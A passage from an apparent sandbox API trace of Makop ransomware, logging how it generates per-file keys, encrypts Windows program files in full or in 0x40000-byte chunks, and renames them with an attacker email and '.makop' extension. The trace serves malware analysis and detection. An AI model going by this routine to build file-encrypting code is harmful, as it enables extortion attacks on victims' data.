lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.435] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.435] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.436] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.436] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.436] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.436] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.436] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.436] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.437] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38200, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x38200, lpOverlapped=0x0) returned 1 [0101.442] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x38200, dwBufLen=0x38200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x38200) returned 1 [0101.445] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.445] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x38200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x38200, lpOverlapped=0x0) returned 1 [0101.446] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.447] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x382d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.447] SetEndOfFile (hFile=0x138) returned 1 [0101.456] GetProcessHeap () returned 0x48a0000 [0101.456] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.456] GetProcessHeap () returned 0x48a0000 [0101.457] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.457] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.458] CloseHandle (hObject=0x138) returned 1 [0101.458] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0101.458] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS") returned 73 [0101.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.459] GetProcessHeap () returned 0x48a0000 [0101.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.459] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.459] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.460] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.464] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.464] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.464] GetProcessHeap () returned 0x48a0000 [0101.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.465] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.465] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.465] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.465] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.465] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.465] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.465] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.466] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.466] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.466] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.466] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.466] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcd2ac, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xcd2ac, lpOverlapped=0x0) returned 1 [0101.492] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xcd2b0, dwBufLen=0xcd2b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xcd2b0) returned 1 [0101.501] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.501] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcd2b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xcd2b0, lpOverlapped=0x0) returned 1 [0101.508] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.508] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xcd384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.508] SetEndOfFile (hFile=0x138) returned 1 [0101.515] GetProcessHeap () returned 0x48a0000 [0101.515] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.515] GetProcessHeap () returned 0x48a0000 [0101.515] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.515] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.527] CloseHandle (hObject=0x138) returned 1 [0101.527] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0101.527] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX") returned 71 [0101.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.529] GetProcessHeap () returned 0x48a0000 [0101.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.529] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.530] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.530] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.530] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.530] GetProcessHeap () returned 0x48a0000 [0101.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.530] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0101.530] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.530] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0101.534] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.535] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.535] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.535] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.535] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.535] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.535] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.536] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x96a00, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x96a00, lpOverlapped=0x0) returned 1 [0101.583] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x96a00, dwBufLen=0x96a00 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x96a00) returned 1 [0101.590] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.590] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x96a00, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x96a00, lpOverlapped=0x0) returned 1 [0101.595] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.595] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x96ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.596] SetEndOfFile (hFile=0x138) returned 1 [0101.604] GetProcessHeap () returned 0x48a0000 [0101.604] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0101.604] GetProcessHeap () returned 0x48a0000 [0101.604] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.604] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0101.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.606] CloseHandle (hObject=0x138) returned 1 [0101.606] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0101.606] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0101.606] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0101.606] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0101.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0101.607] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=2120459) returned 1 [0101.607] GetProcessHeap () returned 0x48a0000 [0101.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.607] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.608] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x5, lpOverlapped=0x0) returned 1 [0101.612] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0101.612] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.612] GetProcessHeap () returned 0x48a0000 [0101.612] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.612] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30) returned 1 [0101.613] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.613] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0101.613] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0101.613] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0101.613] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0101.613] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0101.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0101.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0101.614] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.614] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0101.614] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0101.628] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0101.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.632] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0101.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0101.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0101.634] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0101.645] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0101.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0101.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0101.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0101.651] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0101.660] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0101.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.663] WriteFile (in: hFile=0xf0, 